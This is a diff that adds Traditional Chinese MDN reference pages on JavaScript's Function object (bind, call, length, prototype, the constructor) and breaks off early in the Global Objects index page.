+// ...
+
+slice.apply(arguments);
+</pre>
+
+<p>With <code>bind()</code>, this can be simplified. In the following piece of code, <code>slice</code> is a bound function to the {{jsxref("Function.prototype.apply()", "apply()")}} function of {{jsxref("Function.prototype")}}, with the <strong><code>this</code></strong> value set to the {{jsxref("Array.prototype.slice()", "slice()")}} function of {{jsxref("Array.prototype")}}. This means that additional <code>apply()</code> calls can be eliminated:</p>
+
+<pre class="brush: js">// same as "slice" in the previous example
+var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.apply.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>You can partially work around this by inserting the following code at the beginning of your scripts, allowing use of much of the functionality of <code>bind()</code> in implementations that do not natively support it.</p>
+
+<pre class="brush: js">if (!Function.prototype.bind) {
+  Function.prototype.bind = function(oThis) {
+    if (typeof this !== 'function') {
+      // closest thing possible to the ECMAScript 5
+      // internal IsCallable function
+      throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
+    }
+
+    var aArgs   = Array.prototype.slice.call(arguments, 1),
+        fToBind = this,
+        fNOP    = function() {},
+        fBound  = function() {
+          return fToBind.apply(this instanceof fNOP
+                 ? this
+                 : oThis,
+                 aArgs.concat(Array.prototype.slice.call(arguments)));
+        };
+
+    if (this.prototype) {
+      // Function.prototype doesn't have a prototype property
+      fNOP.prototype = this.prototype;
+    }
+    fBound.prototype = new fNOP();
+
+    return fBound;
+  };
+}
+</pre>
+
+<p>Some of the many differences (there may well be others, as this list does not seriously attempt to be exhaustive) between this algorithm and the specified algorithm are:</p>
+
+<ul>
+ <li>The partial implementation relies on {{jsxref("Array.prototype.slice()")}}, {{jsxref("Array.prototype.concat()")}}, {{jsxref("Function.prototype.call()")}} and {{jsxref("Function.prototype.apply()")}}, built-in methods to have their original values.</li>
+ <li>The partial implementation creates functions that do not have immutable "poison pill" {{jsxref("Function.caller", "caller")}} and <code>arguments</code> properties that throw a {{jsxref("Global_Objects/TypeError", "TypeError")}} upon get, set, or deletion. (This could be added if the implementation supports {{jsxref("Object.defineProperty")}}, or partially implemented [without throw-on-delete behavior] if the implementation supports the {{jsxref("Object.defineGetter", "__defineGetter__")}} and {{jsxref("Object.defineSetter", "__defineSetter__")}} extensions.)</li>
+ <li>The partial implementation creates functions that have a <code>prototype</code> property. (Proper bound functions have none.)</li>
+ <li>The partial implementation creates bound functions whose {{jsxref("Function.length", "length")}} property does not agree with that mandated by ECMA-262: it creates functions with length 0, while a full implementation, depending on the length of the target function and the number of pre-specified arguments, may return a non-zero length.</li>
+</ul>
+
+<p>If you choose to use this partial implementation, <strong>you must not rely on those cases where behavior deviates from ECMA-262, 5th edition!</strong> With some care, however (and perhaps with additional modification to suit specific needs), this partial implementation may be a reasonable bridge to the time when <code>bind()</code> is widely implemented according to the specification.</p>
+
+<p>Please check <a href="https://github.com/Raynos/function-bind">https://github.com/Raynos/function-bind</a> for a more thorough solution!</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.5', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("7")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatAndroid("4.0")}}</td>
+   <td>{{CompatChrome("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile("11.5")}}</td>
+   <td>{{CompatSafari("6.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="相關連結">相關連結</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "Functions", "", 1)}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/function/call/index.html b/files/zh-tw/web/javascript/reference/global_objects/function/call/index.html
new file mode 100644
index 0000000000..1d1d2017ee
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/function/call/index.html
@@ -0,0 +1,105 @@
+---
+title: Function.prototype.call
+slug: Web/JavaScript/Reference/Global_Objects/Function/call
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/call
+---
+<p>{{JSRef}}</p>
+
+<h2 id="概述">概述</h2>
+
+<p>使用給定的<code>this</code>參數以及分別給定的參數來呼叫某個函數</p>
+
+<div class="note"><strong>附註:</strong> 此函數的所有語法大致上與<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/apply" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/apply">apply()</a></code>相同，他們基本上不同處只有 <code>call()</code> 接受一連串的參數，而 <code>apply()</code> 單一的array作為參數</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" colspan="2"><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function">Function </a>物件的方法</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>被實作於</td>
+   <td>JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>ECMAScript 版本</td>
+   <td>ECMAScript 第三版</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code><em>fun</em>.call(<em>thisArg</em>[, <em>arg1</em>[, <em>arg2</em>[, ...]]])</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>呼叫<em><code>fun</code></em>時提供的<code>this</code>值。 注意，它可能是一個無法在函數內看到的值：若這個函數是在非嚴苛模式( <a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">non-strict mode</a> ), <code>null</code> <code>、undefined</code> 將會被置換成全域變數，而原生型態的值將會被封裝</dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>其他參數</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>你可以在呼叫一個現存的函數時，使用不一樣的 <code>this</code> 物件。 <code>this</code> 會參照到目前的物件，呼叫的物件上</p>
+
+<p>使用 <code>call，</code> 你可以實作函數一次，然後在其他的物件上直接繼承它，而不用在新的物件上重寫該函數</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_call_來串接物件上的建構子">使用 <code>call</code> 來串接物件上的建構子</h3>
+
+<p>你可以使用 <code>call</code> 來串接其他物件的建構子，就像 Java. 下面的例子中，<code>Product</code> 物件的建構子定義了兩個參數 <code>name</code> 以及 <code>price</code>. 其他函數<code>Food</code> 及 <code>Toy</code> 引用了 <code>Product</code> 並傳入 <code>this</code> 、 <code>name</code> 和 <code>price</code>。 Product 初始化它的屬性 <code>name</code> 和 <code>price</code>, 而兩個子函數則定義了<code>category。</code></p>
+
+<pre class="brush: js">function Product(name, price) {
+  this.name = name;
+  this.price = price;
+
+  if (price &lt; 0)
+    throw RangeError('Cannot create product "' + name + '" with a negative price');
+  return this;
+}
+
+function Food(name, price) {
+  Product.call(this, name, price);
+  this.category = 'food';
+}
+Food.prototype = new Product();
+
+function Toy(name, price) {
+  Product.call(this, name, price);
+  this.category = 'toy';
+}
+Toy.prototype = new Product();
+
+var cheese = new Food('feta', 5);
+var fun = new Toy('robot', 40);
+</pre>
+
+<h3 id="使用_call_來呼叫匿名的函數">使用 <code>call</code> 來呼叫匿名的函數</h3>
+
+<p>下面這個簡易的例子中，我們做了一個匿名的函數，並用 <code>call</code> 來讓它應用在每個在串列中的物件中. 這個匿名函數的主要用途是加入一個print函數到每個物件上，這個函數可以印出每個物件的index指標。 傳入物件作為 <code>this</code> 的值並不是必要的，但他有解釋的用途。</p>
+
+<pre class="brush: js">var animals = [
+  {species: 'Lion', name: 'King'},
+  {species: 'Whale', name: 'Fail'}
+];
+
+for (var i = 0; i &lt; animals.length; i++) {
+  (function (i) {
+    this.print = function () {
+      console.log('#' + i  + ' ' + this.species + ': ' + this.name);
+    }
+    this.print();
+  }).call(animals[i], i);
+}
+</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/apply" title="JavaScript/Reference/Global_Objects/Function/apply">apply</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/function/index.html b/files/zh-tw/web/javascript/reference/global_objects/function/index.html
new file mode 100644
index 0000000000..b88c087b24
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/function/index.html
@@ -0,0 +1,191 @@
+---
+title: Function
+slug: Web/JavaScript/Reference/Global_Objects/Function
+tags:
+  - JavaScript
+  - JavaScript Reference
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Function</code> 建構函式</strong>可建立一個新的 <code>Function</code> 物件。在 JavaScript 中，所有的函式實際上都是 <code>Function</code> 物件。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>function 的引數名稱必須要符合正規的命名。每個名稱都必須要是有效的 JavaScript 識別符號規則的字串，或是使用英文逗號「, 」分隔開的字串清單; 像是 "x", "theValue", 或是 "a, b'。</dd>
+ <dt><code>functionBody</code></dt>
+ <dd><span class="_3oh- _58nk">包含 JavaScript 狀態以及 function 定義的字串。</span></dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p><code>Function</code> objects created with the <code>Function</code> constructor are parsed when the function is created. This is less efficient than declaring a function with a <a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/function">function expression</a> or <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/function">function statement</a> and calling it within your code, because such functions are parsed with the rest of the code.</p>
+
+<p>All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.</p>
+
+<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
+
+<h2 id="Function_的屬性與方法"><code>Function</code> <code>的屬性與方法</code></h2>
+
+<p>The global <code>Function</code> object has no methods or properties of its own, however, since it is a function itself it does inherit some methods and properties through the prototype chain from {{jsxref("Function.prototype")}}.</p>
+
+<h2 id="Function_原型物件"><code>Function</code> 原型物件</h2>
+
+<h3 id="屬性_Properties">屬性 Properties</h3>
+
+<div>{{page('/zh-TW/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}</div>
+
+<h3 id="方法_Methods">方法 Methods</h3>
+
+<div>{{page('/zh-TW/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}</div>
+
+<h2 id="Function_實例"><code>Function</code> 實例</h2>
+
+<p><code>Function</code> instances inherit methods and properties from {{jsxref("Function.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all <code>Function</code> instances.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Specifying_arguments_with_the_Function_constructor">Specifying arguments with the <code>Function</code> constructor</h3>
+
+<p>The following code creates a <code>Function</code> object that takes two arguments.</p>
+
+<pre class="brush: js">// Example can be run directly in your JavaScript console
+
+// Create a function that takes two arguments and returns the sum of those arguments
+var adder = new Function('a', 'b', 'return a + b');
+
+// Call the function
+adder(2, 6);
+// &gt; 8
+</pre>
+
+<p>The arguments "<code>a</code>" and "<code>b</code>" are formal argument names that are used in the function body, "<code>return a + b</code>".</p>
+
+<h3 id="Difference_between_Function_constructor_and_function_declaration">Difference between Function constructor and function declaration</h3>
+
+<p>Functions created with the <code>Function</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>Function</code> constructor was called. This is different from using {{jsxref("eval")}} with code for a function expression.</p>
+
+<pre class="brush: js">var x = 10;
+
+function createFunction1() {
+    var x = 20;
+    return new Function('return x;'); // this |x| refers global |x|
+}
+
+function createFunction2() {
+    var x = 20;
+    function f() {
+        return x; // this |x| refers local |x| above
+    }
+    return f;
+}
+
+var f1 = createFunction1();
+console.log(f1());          // 10
+var f2 = createFunction2();
+console.log(f2());          // 20
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3', 'Function')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-objects', 'Function')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions and function scope")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/function/length/index.html b/files/zh-tw/web/javascript/reference/global_objects/function/length/index.html
new file mode 100644
index 0000000000..699e1ff178
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/function/length/index.html
@@ -0,0 +1,144 @@
+---
+title: Function.length
+slug: Web/JavaScript/Reference/Global_Objects/Function/length
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/length
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>length</strong></code> property表示該 function 預期被傳入的參數數量</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="描述">描述</h2>
+
+<p><code>length</code> 是 function 物件的一個 property，表示該 function 預期被傳入的參數數量，這個數量並不包含 {{jsxref("rest_parameters", "rest parameter", "", 1)}} 且只包涵第一個預設參數(Default Parameters)前的參數。相較之下 {{jsxref("Functions_and_function_scope/arguments/length", "arguments.length")}} 是 function 內部的物件，會提供真正傳進 function 中的參數數量。</p>
+
+<h3 id="Function_建構子的_data_property"><code>Function</code> 建構子的 data property</h3>
+
+<p>{{jsxref("Function")}} 建構子本身就是一個 {{jsxref("Function")}} 物件。其 <code>length</code> data property 的值為 1。此 property 的 attributes 包含: Writable: <code>false</code>, Enumerable: <code>false</code>, Configurable: <code>true</code>.</p>
+
+<h3 id="Function_prototype_物件的_property"><code>Function</code> prototype 物件的 property</h3>
+
+<p>{{jsxref("Function")}} prototype 物件的 length property 其值為 0。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">console.log(Function.length); /* 1 */
+
+console.log((function()        {}).length); /* 0 */
+console.log((function(a)       {}).length); /* 1 */
+console.log((function(a, b)    {}).length); /* 2 以此類推. */
+
+console.log((function(...args) {}).length); /* 0, rest parameter 不包含在內 */
+
+console.log((function(a, b = 1, c) {}).length); /* 1 */
+// 只有在預設參數前的參數會被算到，也就是只有 a 會被視為必須傳入的參數
+// 而 c 將被預設為 undefined
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註釋</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>最初的定義，在 JavaScript 1.1 中實作。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><code>此 </code>property 的 <code>configurable</code> attribute 現在為 <code>true</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-instances-length', 'Function.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特點</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Configurable: true</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Configurable: true</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="可參閱">可參閱</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/function/prototype/index.html b/files/zh-tw/web/javascript/reference/global_objects/function/prototype/index.html
new file mode 100644
index 0000000000..1db46bc59a
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/function/prototype/index.html
@@ -0,0 +1,138 @@
+---
+title: Function.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Function/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Function.prototype</strong></code> 屬性表示 {{jsxref("Function")}} 的原型物件。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>{{jsxref("Function")}} objects inherit from <code>Function.prototype</code>.  <code>Function.prototype</code> cannot be modified.</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("Function.arguments")}} {{deprecated_inline}}</dt>
+ <dd>An array corresponding to the arguments passed to a function. This is deprecated as property of {{jsxref("Function")}}, use the {{jsxref("Functions/arguments", "arguments")}} object available within the function instead.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Function.arity")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Used to specifiy the number of arguments expected by the function, but has been removed. Use the {{jsxref("Function.length", "length")}} property instead.</s></dd>
+ <dt>{{jsxref("Function.caller")}} {{non-standard_inline}}</dt>
+ <dd>Specifies the function that invoked the currently executing function.</dd>
+ <dt>{{jsxref("Function.length")}}</dt>
+ <dd>Specifies the number of arguments expected by the function.</dd>
+ <dt>{{jsxref("Function.name")}}</dt>
+ <dd>The name of the function.</dd>
+ <dt>{{jsxref("Function.displayName")}} {{non-standard_inline}}</dt>
+ <dd>The display name of the function.</dd>
+ <dt><code>Function.prototype.constructor</code></dt>
+ <dd>Specifies the function that creates an object's prototype. See {{jsxref("Object.prototype.constructor")}} for more details.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("Function.prototype.apply()")}}</dt>
+ <dd>Calls a function and sets its <em>this</em> to the provided value, arguments can be passed as an {{jsxref("Array")}} object.</dd>
+ <dt>{{jsxref("Function.prototype.bind()")}}</dt>
+ <dd>Creates a new function which, when called, has its <em>this</em> set to the provided value, with a given sequence of arguments preceding any provided when the new function was called.</dd>
+ <dt>{{jsxref("Function.prototype.call()")}}</dt>
+ <dd>Calls (executes) a function and sets its <em>this</em> to the provided value, arguments can be passed as they are.</dd>
+ <dt>{{jsxref("Function.prototype.isGenerator()")}} {{non-standard_inline}}</dt>
+ <dd>Returns <code>true</code> if the function is a <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">generator</a>; otherwise returns <code>false</code>.</dd>
+ <dt>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Returns a string representing the source code of the function. Overrides the {{jsxref("Object.prototype.toSource")}} method.</dd>
+ <dt>{{jsxref("Function.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the source code of the function. Overrides the {{jsxref("Object.prototype.toString")}} method.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.5.2', 'Function.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-instances-prototype', 'Function.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-instances-prototype', 'Function.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/index.html b/files/zh-tw/web/javascript/reference/global_objects/index.html
new file mode 100644
index 0000000000..c9e81579fb
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/index.html
@@ -0,0 +1,201 @@
+---
+title: 標準內建物件
+slug: Web/JavaScript/Reference/Global_Objects
+tags:
+  - JavaScript
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>本章節記錄了 JavaScript 所有標準、內建的物件，以及這些物件的方法與屬性。</p>
+
+<p>「全域物件」（或稱作標準內建物件）這個專有名字並非是要和<strong>全域物件</strong>混著說。在這裡，全域物件是那些在全域範圍裡的物件。而<strong>全域物件</strong>自身則是關聯到全域範圍裡的 {{jsxref("Operators/this", "this")}} 運算子（但若是在 ECMAScript 5 的嚴格模式（strict mode）則是不被採用的，即會回傳 {{jsxref("undefined")}}）。 事實上，全域範圍包含了全域物件的屬性，也包含了繼承而來的屬性（如果有的話）。</p>
+
+<p>其他在全域範疇的物件，不是<a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">被使用者的腳本建立</a>，就是由主體的應用程式所提供。 主體物件是由 <a href="/zh-TW/docs/Web/API/Reference">API 參考資料</a>定義的文件決定瀏覽器環境中是否可用。 更多關於 <a href="/zh-TW/docs/DOM/DOM_Reference">DOM</a> 和 <a href="/zh-TW/docs/Web/JavaScript">JavaScript</a> 核心的差異，請參考 <a href="/zh-TW/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript 技術概要</a>。</p>
+
+<h2 id="標準物件分類">標準物件分類</h2>
+
+<h3 id="數值屬性">數值屬性</h3>
+
+<p>這些全域屬性會返回一個值；全域屬性本身不擁有任何屬性和函式。</p>
+
+<ul>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}} literal</li>
+</ul>
+
+<h3 id="函數屬性">函數屬性</h3>
+
+<p>這些全域函式會直接在全域範圍中被呼叫，不用從某個物件取得後呼叫；呼叫後直接回傳結果給執行的人。</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
